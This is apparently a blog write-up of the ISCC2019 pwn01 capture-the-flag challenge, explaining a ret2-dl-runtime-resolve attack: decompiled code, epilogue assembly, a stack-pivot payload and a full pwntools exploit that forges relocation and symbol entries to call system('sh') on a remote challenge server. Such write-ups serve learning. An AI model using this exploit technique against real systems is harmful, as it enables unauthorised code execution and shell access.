ISCC2019-pwn01

ret2-dl-runtime-resolve

简单分析

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
char dest; // [esp+0h] [ebp-16h]
size_t n; // [esp+Ah] [ebp-Ch]
int *v6; // [esp+Eh] [ebp-8h]

v6 = &argc;
n = read(0, &buf, 0xF4240u);
memcpy(&dest, &buf, n);
return 0;
}

是很标准的ret2-dl-runtime-resolve例题了,需要注意的是需要看汇编:

1
2
3
4
5
6
.text:080484AE                 lea     esp, [ebp-8]
.text:080484B1 pop ecx
.text:080484B2 pop ebx
.text:080484B3 pop ebp
.text:080484B4 lea esp, [ecx-4]
.text:080484B7 retn

函数结尾处的汇编是这样的,意味着不能简单地填充溢出,和之前那道DDCTF的pwn一样,需要在特定位置输入正确的值才可以。

不过这一题不一样的是,我们可以直接控制ebp,esp到buf上,然后buf上的数据是受我们输入控制的,再配合一些gadgets就可以完成调用read函数并且换栈。

1
sh.send('aabbbbccccdddd'+p32(buf+30)+p32(0)+p32(buf+26)+p32(read_plt)+p32(ppp_ret)+p32(0)+p32(stage)+p32(100)+p32(pop_ret)+p32(stage)+p32(leave_ret))

像这样就可以把栈换到stage处,接下来就是标准的ret2-dl-runtime-resolve,详细地原理介绍看CTF-WIKI就可以了。

EXP

1
# coding=UTF-8
from pwn import *
#sh=process("./pwn01.dms")
sh=remote("39.100.87.24",8101)
elf=ELF('./pwn01.dms')
bss=elf.bss()
read_plt=elf.plt['read']
buf=bss+0x20
stage=buf+0x282
#stage=buf+28
pop_ret=0x0804851b
ppp_ret=0x08048519
leave_ret=0x080483c5
#gdb.attach(sh)
sh.send('aabbbbccccdddd'+p32(buf+30)+p32(0)+p32(buf+26)+p32(read_plt)+p32(ppp_ret)+p32(0)+p32(stage)+p32(100)+p32(pop_ret)+p32(stage)+p32(leave_ret))
#sh.send('aabbbbccccdddd'+p32(buf+32)+p32(0)+p32(buf+28)+'aa'+payload2)
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
index_offset = stage + 28 - rel_plt
read_got = elf.got['read']
read_index = (elf.plt['read'] - plt0) / 16 - 1
read_index *= 8
r_offset=0x0804a00c

fake_sym_addr = stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10  
st_name = fake_sym_addr + 0x10 - dynstr
fake_write_sym = flat([st_name, 0, 0, 0x12])
r_info = (index_dynsym << 8) | 0x7
fake_write_reloc = flat([read_got, r_info])
payload='aaaa'+p32(plt0)+p32(index_offset)+'aaaa'+p32(stage+84)+'aaaa'+'aaaa'+fake_write_reloc+'a'*align+fake_write_sym+'system\x00'
payload+='a'*(84-len(payload))
payload+='sh\x00'
sh.send(payload)

#sh.send(payload2)
sh.interactive()

基本照抄CTF-WIKI,有的偏移和CTF-WIKI不一样,是因为换栈的方式不一样,我的EXP在第二次使用read函数时,开头四个字符需要输入一个填充,来让leave,retpop,ebp时pop,这样后面所有的伪造的结构的地址都要+4。

这题写了很久很久……主要是因为卡在了换栈的位置选择,我之前一直选择bss+400的位置,结果在调用dl_fixup时一直会报错,以为是换栈之类的出了问题,试了很久都不知道为啥,最终要感谢看雪论坛mengllong师傅的评论解救了我:

最后尝试了一下,至少要在bss+0x2a2的位置才不会出错2333

文章目录
  1. 1. 简单分析
  2. 2. EXP
|